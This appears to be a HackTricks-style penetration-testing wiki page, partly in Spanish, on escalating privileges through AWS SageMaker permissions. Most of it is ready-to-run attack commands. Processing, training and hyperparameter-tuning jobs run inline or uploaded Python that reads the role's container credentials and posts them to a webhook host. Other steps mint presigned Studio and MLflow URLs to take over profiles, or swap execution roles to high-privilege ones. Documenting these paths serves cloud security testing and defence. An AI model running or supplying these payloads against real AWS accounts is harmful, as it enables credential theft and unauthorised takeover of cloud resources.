# AWS - Sagemaker Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS - Sagemaker Privesc

### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`

Start creating a noteboook with the IAM Role to access attached to it:

```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
    --instance-type ml.t2.medium \
    --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```

The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready:

```bash
aws sagemaker create-presigned-notebook-instance-url \
    --notebook-instance-name <name>
```

Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.

Now It's possible to access the metadata credentials of the IAM Role.

**Potential Impact:** Privesc to the sagemaker service role specified.

### `sagemaker:CreatePresignedNotebookInstanceUrl`

If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**.

```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```

**Potential Impact:** Privesc to the sagemaker service role attached.


## `sagemaker:CreatePresignedDomainUrl`

> [!WARNING]
> This attack only works on old traditional SageMaker Studio domains, not those created by SageMaker Unified Studio. Domains from Unified Studio will return the error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

An identity with permission to call `sagemaker:CreatePresignedDomainUrl` on a target Studio `UserProfile` can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attacker's browser a Studio session that inherits the profile's `ExecutionRole` permissions and full access to the profile's EFS-backed home and apps. No `iam:PassRole` or console access is required.

**Requirements**:
- A SageMaker Studio `Domain` and a target `UserProfile` within it.
- The attacker principal needs `sagemaker:CreatePresignedDomainUrl` on the target `UserProfile` (resource‑level) or `*`.

Minimal policy example (scoped to one UserProfile):

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "sagemaker:CreatePresignedDomainUrl",
      "Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
    }
  ]
}
```

**Abuse Steps**:

1) Enumerate a Studio Domain and UserProfiles you can target
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```

2) Check if unified studio is not being used (attack only works on traditional SageMaker Studio domains)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```

3) Generate a presigned URL (valid ~5 minutes by default)
```bash
aws sagemaker create-presigned-domain-url \
  --domain-id $DOM \
  --user-profile-name $TARGET_USER \
  --query AuthorizedUrl --output text
```

4) Open the returned URL in a browser to sign into Studio as the target user. In a Jupyter terminal inside Studio verify the effective identity or exfiltrate the token:
```bash
aws sts get-caller-identity
```

Notes:
- `--landing-uri` can be omitted. Some values (e.g., `app:JupyterLab:/lab`) may be rejected depending on Studio flavor/version; defaults typically redirect to the Studio home and then to Jupyter.
- Org policies/VPC endpoint restrictions may still block network access; the token minting does not require console sign‑in or `iam:PassRole`.

**Potential Impact**: Lateral movement and privilege escalation by assuming any Studio `UserProfile` whose ARN is permitted, inheriting its `ExecutionRole` and filesystem/apps.


### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`

An identity with permission to call `sagemaker:CreatePresignedMlflowTrackingServerUrl` (and `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` for later access) for a target SageMaker MLflow Tracking Server can mint a single‑use presigned URL that authenticates directly to the managed MLflow UI for that server. This grants the same access a legitimate user would have to the server (view/create experiments and runs, and download/upload artifacts in the server’s S3 artifact store).

**Requirements:**
- A SageMaker MLflow Tracking Server in the account/region and its name.
- The attacker principal needs `sagemaker:CreatePresignedMlflowTrackingServerUrl` on the target MLflow Tracking Server resource (or `*`).

**Abuse Steps**:

1) Enumerate MLflow Tracking Servers you can target and pick one name
```bash
aws sagemaker list-mlflow-tracking-servers \
  --query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```

2) Generate a presigned MLflow UI URL (valid for a short time)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
  --tracking-server-name "$TS_NAME" \
  --query AuthorizedUrl --output text
```

3) Open the returned URL in a browser to access the MLflow UI as an authenticated user for that Tracking Server.

**Potential Impact:** Direct access to the managed MLflow UI for the targeted Tracking Server, enabling viewing and modification of experiments/runs and retrieval or upload of artifacts stored in the server’s configured S3 artifact store, within the permissions enforced by the server configuration.


### `sagemaker:CreateProcessingJob`, `iam:PassRole`

An attacker with those permissions can make **SageMaker execute a processing job** with a SageMaker role attached to it. By reusing one of the AWS Deep Learning Containers that already incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imágenes propias:

```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
  --processing-job-name privescjob \
  --processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
  --app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
  --environment "$ENV" \
  --role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```

**Potential Impact:** Privesc to the sagemaker service role specified.

### `sagemaker:CreateTrainingJob`, `iam:PassRole`

An attacker with those permissions can launch a training job that ejecuta código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imágenes propias:

```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
  --training-job-name privesc-train \
  --role-arn $ROLE_ARN \
  --algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
  --output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
  --resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
  --stopping-condition '{"MaxRuntimeInSeconds":600}' \
  --environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```

**Potential Impact:** Privesc to the SageMaker service role specified.

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

An attacker with those permissions can launch a HyperParameter Tuning Job that runs attacker-controlled code under the supplied role. Script mode requires hosting the payload in S3, but all steps pueden automatizarse desde la CLI:

```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
  --bucket $BUCKET \
  --public-access-block-configuration '{
    "BlockPublicAcls": false,
    "IgnorePublicAcls": false,
    "BlockPublicPolicy": false,
    "RestrictPublicBuckets": false
  }'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
  \"Version\": \"2012-10-17\",
  \"Statement\": [
    {
      \"Effect\": \"Allow\",
      \"Principal\": \"*\",
      \"Action\": \"s3:GetObject\",
      \"Resource\": \"arn:aws:s3:::$BUCKET/*\"
    }
  ]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
    meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
    if not meta:
        return
    creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
    req = urllib.request.Request(
        "https://example.com/webhook",
        data=creds,
        headers={"Content-Type": "application/json"}
    )
    urllib.request.urlopen(req)
    print("train:loss=0")
    time.sleep(300)

if __name__ == "__main__":
    main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
  "AlgorithmSpecification": {
    "TrainingImage": "$IMAGE",
    "TrainingInputMode": "File",
    "MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
  },
  "StaticHyperParameters": {
    "sagemaker_program": "train.py",
    "sagemaker_submit_directory": "$CODE_S3"
  },
  "RoleArn": "$ROLE_ARN",
  "InputDataConfig": [
    {
      "ChannelName": "training",
      "DataSource": {
        "S3DataSource": {
          "S3DataType": "S3Prefix",
          "S3Uri": "$TRAIN_INPUT_S3",
          "S3DataDistributionType": "FullyReplicated"
        }
      }
    }
  ],
  "OutputDataConfig": {
    "S3OutputPath": "$OUTPUT_S3"
  },
  "ResourceConfig": {
    "InstanceType": "ml.m5.large",
    "InstanceCount": 1,
    "VolumeSizeInGB": 50
  },
  "StoppingCondition": {
    "MaxRuntimeInSeconds": 600
  }
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
  --hyper-parameter-tuning-job-name privesc-hpo \
  --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
  --training-job-definition file:///tmp/hpo-definition.json
```

Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.


### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

With the permission to update a SageMaker Studio User Profile, create an app, a presigned URL to the app and `iam:PassRole`, an attacker can set the `ExecutionRole` to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.

> [!WARNING]
> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.

Steps:

```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' 

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
  --domain-id-equals <DOMAIN_ID> 

# Delete an app
aws sagemaker delete-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

```

**Potential Impact**: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.


### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

With permissions to update a SageMaker Studio Domain, create an app, a presigned URL to the app, and `iam:PassRole`, an attacker can set the default domain `ExecutionRole` to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.

> [!WARNING]
> This attack requires that there are no applications in the domain or the app creation will fail with the error: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`

Steps:

```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' 

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
  --domain-id <DOMAIN_ID> \
  --default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
  --domain-id <DOMAIN_ID> \
  --query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
  --domain-id-equals <DOMAIN_ID> 

# Delete an app
aws sagemaker delete-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --app-type JupyterServer \
  --app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)
```

**Potential Impact**: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.

### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`

An attacker with permission to create a SageMaker Studio app for a target UserProfile can launch a JupyterServer app that runs with the profile's `ExecutionRole`. This provides interactive access to the role's permissions via Jupyter terminals or jobs launched from Studio.

Steps:

```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
```

**Potential Impact**: Interactive access to the SageMaker execution role attached to the target UserProfile.


### `iam:GetUser`, `datazone:CreateUserProfile`

An attacker with those permissions can give user access to an IAM user into a Sagemaker Unified Studio Domain by creating a DataZone User Profile for that user.

```bash
# List domains
aws datazone list-domains --region us-east-1 \
  --query "items[].{Id:id,Name:name}" \
  --output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
  --region us-east-1 \
  --domain-identifier <domain-id> \
  --user-identifier <arn-user> \
  --user-type IAM_USER
```

The Unified Domain URL has the following format: `https://<domain-id>.sagemaker.<region>.on.aws/` (e.g. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).

**Potential Impact:** Access to the Sagemaker Unified Studio Domain as a user being able to access all the resources inside the Sagemaker domain and even escalate privieleges to the role that the notebooks inside the Sagemaker Unified Studio Domain are using.

## References

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)


{{#include ../../../../banners/hacktricks-training.md}}
